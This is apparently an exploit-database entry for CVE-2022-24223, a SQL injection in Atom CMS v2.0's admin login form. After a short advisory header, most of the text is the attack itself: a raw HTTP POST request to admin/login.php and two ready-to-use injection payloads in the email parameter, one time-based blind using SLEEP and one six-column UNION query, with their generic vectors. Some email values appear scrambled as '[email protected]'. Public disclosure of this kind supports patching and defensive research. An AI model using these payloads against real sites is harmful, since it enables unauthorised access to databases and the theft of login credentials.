Authored by Luca Cuzzolin

Atom CMS version 2.0 suffers from a remote SQL injection vulnerability.

advisories | CVE-2022-24223

# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223


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# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php


POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234


Vulnerable Payload :

Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: [email protected]' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
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